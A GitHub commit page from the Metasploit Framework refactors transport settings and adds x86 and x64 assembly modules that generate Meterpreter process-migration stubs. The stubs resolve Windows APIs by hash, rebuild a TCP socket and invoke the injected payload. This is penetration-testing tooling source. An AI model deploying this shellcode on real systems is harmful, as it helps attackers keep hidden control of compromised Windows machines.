Skip to content

Commit d0696a0

Browse files
committed
Move migration stub generation into MSF
This code adds support for transport-specific migration stubs to be generated in MSF rather than having them hard-coded in Meterpreter.
1 parent 630d879 commit d0696a0

File tree

11 files changed

+418
-42
lines changed

11 files changed

+418
-42
lines changed

lib/msf/core/payload/transport_config.rb

Lines changed: 24 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -25,13 +25,10 @@ def transport_config_reverse_ipv6_tcp(opts={})
2525

2626
def transport_config_bind_tcp(opts={})
2727
{
28-
:scheme => 'tcp',
29-
:lhost => datastore['LHOST'],
30-
:lport => datastore['LPORT'].to_i,
31-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
32-
:retry_total => datastore['SessionRetryTotal'].to_i,
33-
:retry_wait => datastore['SessionRetryWait'].to_i
34-
}
28+
scheme: 'tcp',
29+
lhost: datastore['LHOST'],
30+
lport: datastore['LPORT'].to_i
31+
}.merge(timeout_config)
3532
end
3633

3734
def transport_config_reverse_https(opts={})
@@ -54,19 +51,26 @@ def transport_config_reverse_http(opts={})
5451
end
5552

5653
{
57-
:scheme => 'http',
58-
:lhost => opts[:lhost] || datastore['LHOST'],
59-
:lport => (opts[:lport] || datastore['LPORT']).to_i,
60-
:uri => uri,
61-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
62-
:retry_total => datastore['SessionRetryTotal'].to_i,
63-
:retry_wait => datastore['SessionRetryWait'].to_i,
64-
:ua => datastore['MeterpreterUserAgent'],
65-
:proxy_host => datastore['PayloadProxyHost'],
66-
:proxy_port => datastore['PayloadProxyPort'],
67-
:proxy_type => datastore['PayloadProxyType'],
68-
:proxy_user => datastore['PayloadProxyUser'],
69-
:proxy_pass => datastore['PayloadProxyPass']
54+
scheme: 'http',
55+
lhost: opts[:lhost] || datastore['LHOST'],
56+
lport: (opts[:lport] || datastore['LPORT']).to_i,
57+
uri: uri,
58+
ua: datastore['MeterpreterUserAgent'],
59+
proxy_host: datastore['PayloadProxyHost'],
60+
proxy_port: datastore['PayloadProxyPort'],
61+
proxy_type: datastore['PayloadProxyType'],
62+
proxy_user: datastore['PayloadProxyUser'],
63+
proxy_pass: datastore['PayloadProxyPass']
64+
}.merge(timeout_config)
65+
end
66+
67+
private
68+
69+
def timeout_config
70+
{
71+
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
72+
retry_total: datastore['SessionRetryTotal'].to_i,
73+
retry_wait: datastore['SessionRetryWait'].to_i
7074
}
7175
end
7276

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/payload/windows/block_api'
4+
require 'msf/core/payload/windows/migrate_tcp'
5+
require 'msf/core/payload/windows/migrate_http'
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/block_api'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Not really a payload, but more a mixin that lets common functionality
11+
# live in spot that makes sense, so that code duplication is reduced.
12+
#
13+
###
14+
15+
module Payload::Windows::MigrateCommon
16+
17+
include Msf::Payload::Windows
18+
include Msf::Payload::Windows::BlockApi
19+
20+
#
21+
# Constructs the migrate stub on the fly
22+
#
23+
def generate(opts={})
24+
asm = %Q^
25+
migrate:
26+
cld
27+
pop esi
28+
pop esi ; esi now contains the pointer to the migrate context
29+
sub esp, 0x2000
30+
call start
31+
#{asm_block_api}
32+
start:
33+
pop ebp
34+
#{generate_migrate(opts)}
35+
signal_event:
36+
push dword [esi] ; Event handle is pointed at by esi
37+
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
38+
call ebp ; SetEvent(handle)
39+
call_payload:
40+
call dword [esi+8] ; Invoke the associated payload
41+
^
42+
43+
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
44+
end
45+
46+
end
47+
48+
end
49+
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/migrate_common'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Payload that supports migration over HTTP/S transports on x86.
11+
#
12+
###
13+
14+
module Payload::Windows::MigrateHttp
15+
16+
include Msf::Payload::Windows::MigrateCommon
17+
18+
def initialize(info={})
19+
super(update_info(info,
20+
'Name' => 'HTTP/S Transport Migration (x86)',
21+
'Description' => 'Migration stub to use over HTTP/S transports via x86',
22+
'Author' => ['OJ Reeves'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'win',
25+
'Arch' => ARCH_X86
26+
))
27+
end
28+
29+
#
30+
# Constructs the migrate stub on the fly
31+
#
32+
def generate_migrate(opts={})
33+
# This payload only requires the common features, so return
34+
# an empty string indicating no code requires.
35+
''
36+
end
37+
38+
end
39+
40+
end
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/migrate_common'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Payload that supports migration over the TCP transport on x86.
11+
#
12+
###
13+
14+
module Payload::Windows::MigrateTcp
15+
16+
include Msf::Payload::Windows::MigrateCommon
17+
18+
WSA_VERSION = 0x190
19+
20+
def initialize(info={})
21+
super(update_info(info,
22+
'Name' => 'TCP Transport Migration (x86)',
23+
'Description' => 'Migration stub to use over the TCP transport via x86',
24+
'Author' => ['OJ Reeves'],
25+
'License' => MSF_LICENSE,
26+
'Platform' => 'win',
27+
'Arch' => ARCH_X86
28+
))
29+
end
30+
31+
#
32+
# Constructs the migrate stub on the fly
33+
#
34+
def generate_migrate(opts={})
35+
%Q^
36+
load_ws2_32:
37+
push '32'
38+
push 'ws2_'
39+
push esp ; pointer to 'ws2_32'
40+
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
41+
call ebp ; LoadLibraryA('ws2_32')
42+
init_networking:
43+
mov eax, #{WSA_VERSION} ; EAX == version, and is also used for size
44+
sub esp, eax ; allocate space for the WSAData structure
45+
push esp ; Pointer to the WSAData structure
46+
push eax ; Version required
47+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
48+
call ebp ; WSAStartup(Version, &WSAData)
49+
create_socket:
50+
push eax ; eax is 0 on success, use it for flags
51+
push eax ; reserved
52+
lea ebx, [esi+0x10] ; get offset to the WSAPROTOCOL_INFO struct
53+
push ebx ; pass the info struct address
54+
push eax ; no protocol is specified
55+
inc eax
56+
push eax ; SOCK_STREAM
57+
inc eax
58+
push eax ; AF_INET
59+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
60+
call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)
61+
xchg edi, eax
62+
^
63+
end
64+
65+
end
66+
67+
end
68+
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/payload/windows/x64/block_api'
4+
require 'msf/core/payload/windows/x64/migrate_tcp'
5+
require 'msf/core/payload/windows/x64/migrate_http'
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/x64/block_api'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Not really a payload, but more a mixin that lets common functionality
11+
# live in spot that makes sense, so that code duplication is reduced.
12+
#
13+
###
14+
15+
module Payload::Windows::MigrateCommon_x64
16+
17+
include Msf::Payload::Windows
18+
include Msf::Payload::Windows::BlockApi_x64
19+
20+
#
21+
# Constructs the migrate stub on the fly
22+
#
23+
def generate(opts={})
24+
asm = %Q^
25+
migrate:
26+
cld
27+
mov rsi, rcx
28+
sub rsp, 0x2000
29+
and rsp, ~0xF
30+
call start
31+
#{asm_block_api}
32+
start:
33+
pop rbp
34+
#{generate_migrate(opts)}
35+
signal_event:
36+
mov rcx, qword [rsi] ; Event handle is pointed at by rsi
37+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
38+
call rbp ; SetEvent(handle)
39+
call_payload:
40+
call qword [rsi+8] ; Invoke the associated payload
41+
^
42+
43+
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
44+
end
45+
46+
end
47+
48+
end
49+
50+
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/x64/block_api'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Payload that supports migration over HTTP/S transports on x64.
11+
#
12+
###
13+
14+
module Payload::Windows::MigrateHttp_x64
15+
16+
include Msf::Payload::Windows::MigrateCommon_x64
17+
18+
def initialize(info={})
19+
super(update_info(info,
20+
'Name' => 'HTTP/S Transport Migration (x64)',
21+
'Description' => 'Migration stub to use over HTTP/S transports via x64',
22+
'Author' => ['OJ Reeves'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'win',
25+
'Arch' => ARCH_X64
26+
))
27+
end
28+
29+
#
30+
# Constructs the migrate stub on the fly
31+
#
32+
def generate_migrate(opts={})
33+
# This payload only requires the common features, so return
34+
# an empty string indicating no code requires.
35+
''
36+
end
37+
38+
end
39+
40+
end
41+
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/x64/migrate_common'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Payload that supports migration over the TCP transport on x64.
11+
#
12+
###
13+
14+
module Payload::Windows::MigrateTcp_x64
15+
16+
include Msf::Payload::Windows::MigrateCommon_x64
17+
18+
# Minimum size, plus bytes for alignment
19+
WSA_SIZE = 0x1A0
20+
21+
def initialize(info={})
22+
super(update_info(info,
23+
'Name' => 'TCP Transport Migration (x64)',
24+
'Description' => 'Migration stub to use over the TCP transport via x64',
25+
'Author' => ['OJ Reeves'],
26+
'License' => MSF_LICENSE,
27+
'Platform' => 'win',
28+
'Arch' => ARCH_X64
29+
))
30+
end
31+
32+
#
33+
# Constructs the migrate stub on the fly
34+
#
35+
def generate_migrate(opts={})
36+
%Q^
37+
load_ws2_32:
38+
mov r14, 'ws2_32'
39+
push r14
40+
mov rcx, rsp ; pointer to 'ws2_32'
41+
sub rsp, #{WSA_SIZE} ; alloc size, plus alignment (used later)
42+
mov r13, rsp ; save pointer to this struct
43+
sub rsp, 0x28 ; space for api function calls (really?)
44+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
45+
call rbp ; LoadLibraryA('ws2_32')
46+
init_networking:
47+
mov rdx, r13 ; pointer to the wsadata struct
48+
push 2
49+
pop rcx ; Version = 2
50+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
51+
call rbp ; WSAStartup(Version, &WSAData)
52+
create_socket:
53+
xor r8, r8 ; protocol not specified
54+
push r8 ; flags == 0
55+
push r8 ; reserved == NULL
56+
lea r9, [rsi+0x10] ; Pointer to the info in the migration context
57+
push 1
58+
pop rdx ; SOCK_STREAM
59+
push 2
60+
pop rcx ; AF_INET
61+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
62+
call rbp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)
63+
xchg rdi, rax
64+
^
65+
end
66+
67+
end
68+
69+
end
70+
71+

0 commit comments

Comments
 (0)